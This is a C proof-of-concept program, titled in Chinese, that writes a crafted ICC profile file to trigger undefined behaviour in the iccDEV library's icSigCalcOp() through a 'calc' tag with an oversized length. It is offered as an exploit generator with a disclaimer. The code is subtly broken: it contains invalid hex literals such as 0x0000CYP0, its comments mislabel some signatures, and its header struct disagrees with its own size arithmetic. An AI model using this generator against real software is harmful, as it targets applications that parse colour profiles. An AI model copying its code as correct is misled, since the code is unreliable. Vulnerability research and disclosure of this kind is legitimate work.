CVE-2026-24407 iccDEV icSigCalcOp() 未定义行为漏洞

/* * CVE-2026-24407 PoC - Malicious ICC Profile to Trigger icSigCalcOp() Undefined Behavior * * This PoC demonstrates the creation of a malformed ICC profile that can trigger * undefined behavior in icSigCalcOp() function of iccDEV library <= 2.3.1.1 * * Usage: Compile and run this program to generate a malicious ICC profile, * then have a vulnerable application process this profile. * * Note: This is for educational and security testing purposes only. * Author: Security Research * Reference: https://github.com/InternationalColorConsortium/iccDEV/security/advisories/GHSA-m6gx-93cp-4855 */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> #pragma pack(push, 1) typedef struct { uint32_t size; // Profile size in bytes uint32_t cmm_id; // CMM signature uint32_t version; // Profile version uint32_t device_class; // Device class profile type uint32_t color_space; // Color space of data uint32_t pcs; // PCS (Profile Connection Space) uint16_t creation_date[12]; // Creation date/time uint32_t signature; // Profile file signature ('acsp') uint32_t platform; // Primary platform uint32_t flags; // Profile flags uint32_t manufacturer; // Device manufacturer uint32_t model; // Device model uint64_t attributes; // Device attributes uint32_t rendering_intent; // Rendering intent uint32_t pcs_illuminant[3]; // PCS illuminant (X, Y, Z) uint32_t creator; // Profile creator uint32_t profile_id[4]; // Profile ID (MD5 checksum) } ICC_Profile_Header; typedef struct { uint32_t tag_signature; // Tag signature uint32_t offset; // Offset to tag data uint32_t size; // Size of tag data } ICC_Tag_Table_Entry; #pragma pack(pop) #define ICC_PROFILE_SIGNATURE 0x61637370 // 'acsp' #define PROFILE_VERSION_2_4 0x02400000 void create_malicious_icc_profile(const char* filename) { FILE* fp = fopen(filename, "wb"); if (!fp) { printf("[-] Failed to create output file\n"); return; } printf("[*] Generating malicious ICC profile for CVE-2026-24407\n"); // Create header with potentially malicious values ICC_Profile_Header header = {0}; header.size = 128 + 12 + 4; // Header + tag table + padding header.cmm_id = 0x4D49454E; // 'MIN' header.version = PROFILE_VERSION_2_4; // Version 2.4 header.device_class = 0x73636E72; // 'scnr' (display device) header.color_space = 0x52474220; // 'RGB ' header.pcs = 0x58595A20; // 'XYZ ' header.signature = ICC_PROFILE_SIGNATURE; header.platform = 0x4150504C; // 'APPL' header.rendering_intent = 0; header.pcs_illuminant[0] = 0x0000CYP0; // 0.9642 header.pcs_illuminant[1] = 0x00010000; // 1.0000 header.pcs_illuminant[2] = 0x0000B8P0; // 0.8249 header.creator = 0x67697468; // 'gith' // Write malicious header fwrite(&header, sizeof(ICC_Profile_Header), 1, fp); // Create malicious tag table entry // This triggers undefined behavior in icSigCalcOp() ICC_Tag_Table_Entry tag = {0}; tag.tag_signature = 0x63616C63; // 'calc' - triggers icSigCalcOp() tag.offset = 128; // Offset to tag data tag.size = 0xFFFFFFFF; // Malicious size value fwrite(&tag, sizeof(ICC_Tag_Table_Entry), 1, fp); // Write malicious tag data that triggers undefined behavior uint8_t malicious_data[4] = {0xFF, 0xFF, 0xFF, 0xFF}; fwrite(malicious_data, sizeof(malicious_data), 1, fp); fclose(fp); printf("[+] Malicious ICC profile saved to: %s\n", filename); printf("[*] This profile can trigger undefined behavior in icSigCalcOp()\n"); } int main(int argc, char* argv[]) { const char* output_file = "malicious_profile.icc"; if (argc > 1) { output_file = argv[1]; } printf("========================================\n"); printf("CVE-2026-24407 PoC Generator\n"); printf("iccDEV icSigCalcOp() Undefined Behavior\n"); printf("========================================\n\n"); create_malicious_icc_profile(output_file); printf("\n[!] Disclaimer: This tool is for authorized security testing only.\n"); return 0; }